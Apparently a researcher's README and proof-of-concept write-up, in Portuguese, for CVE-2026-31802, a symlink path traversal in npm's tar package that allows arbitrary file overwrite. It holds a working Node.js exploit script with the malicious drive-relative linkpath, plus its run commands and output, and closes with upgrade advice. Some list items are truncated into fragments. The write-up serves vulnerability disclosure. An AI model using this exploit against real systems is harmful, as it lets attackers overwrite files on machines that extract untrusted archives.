
Prova de conceito e write-up técnico para CVE-2026-31802, uma travessia de caminho por symlink no npm tar que permite a sobrescrita arbitrária de arquivos fora do diretório de extração.
Pesquisa: Joshua van Rijswijk
Este repositório contém minha prova de conceito e análise técnica da CVE-2026-31802, uma vulnerabilidade de alta severidade no pacote tar do npm (node-tar) que afeta as versões <= 7.5.10.
Descobri que o tar pode ser enganado para criar um symlink que aponta para fora do diretório de extração pretendido usando um alvo de symlink relativo à unidade, como C:../../../target.txt. Na prática, isso possibilita escapar do cwd durante a extração e transformar a extração de arquivos em uma primitiva de sobrescrita arbitrária de arquivos.
O bug é acionável por meio do comportamento normal de extração com arquivos tar controlados pelo atacante.
Ao analisar como o tar lida com a extração de symlinks, notei que certos valores de linkpath eram tratados de forma inconsistente durante a sanitização e validação. Em particular, caminhos relativos à unidade, como:
C:../../../target.txt
acabavam sendo reescritos antes do uso, mas não validados na mesma forma em que eram, em última instância, armazenados e aplicados.
Essa discrepância é o que torna o bug explorável.
A vulnerabilidade vem de como o tar processa valores de linkpath de symlinks manipulados durante a extração.
Em um nível alto, a lógica de extração remove o prefixo da unidade de um caminho como:
C:../../../target.txt
e o reescreve para:
../../../target.txt
No entanto, a verificação de segurança de traversal é realizada contra o valor original antes da remoção do prefixo, enquanto a criação do symlink posteriormente usa o valor reescrito.
Isso significa que um arquivo malicioso pode passar na validação usando uma forma do caminho, mas ainda assim produzir um symlink que atravessa para fora do diretório de extração quando gravado no disco.
Um arquivo malicioso pode conter uma entrada de symlink como esta:
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt
Quando extraído com uso normal, como:
tar.x({ cwd, file })
acontece o seguinte:
linkpath.cwd.Em outras palavras, a lógica de extração valida um valor e usa outro. Essa lacuna cria a primitiva de traversal.
Escrevi a seguinte PoC para demonstrar que um symlink extraído pode ser feito para apontar para fora da raiz de extração e, em seguida, usado para sobrescrever um arquivo fora do diretório de trabalho.
A PoC:
../target.txta/b/llinkpath como C:../../../target.txta/b/lScript da PoC:
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
npm install [email protected]
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt
PWNED confirma que o arquivo fora do diretório de extração foi sobrescrito.
A saída de readlink e a listagem de arquivos mostram que o symlink extraído aponta para fora da raiz de extração pretendida.
Este problema dá a um atacante uma primitiva de sobrescrita arbitrária de arquivos fora do diretório de extração pretendido, com as permissões do processo que realiza a extração.
Cenários realistas incluem:
Nesses ambientes, um arquivo manipulado pode causar gravações fora do diretório que a aplicação espera controlar.
tar <= 7.5.10tar 7.5.11Este problema foi corrigido na versão 7.5.11.
Os usuários devem atualizar imediatamente:
npm install tar@^7.5.11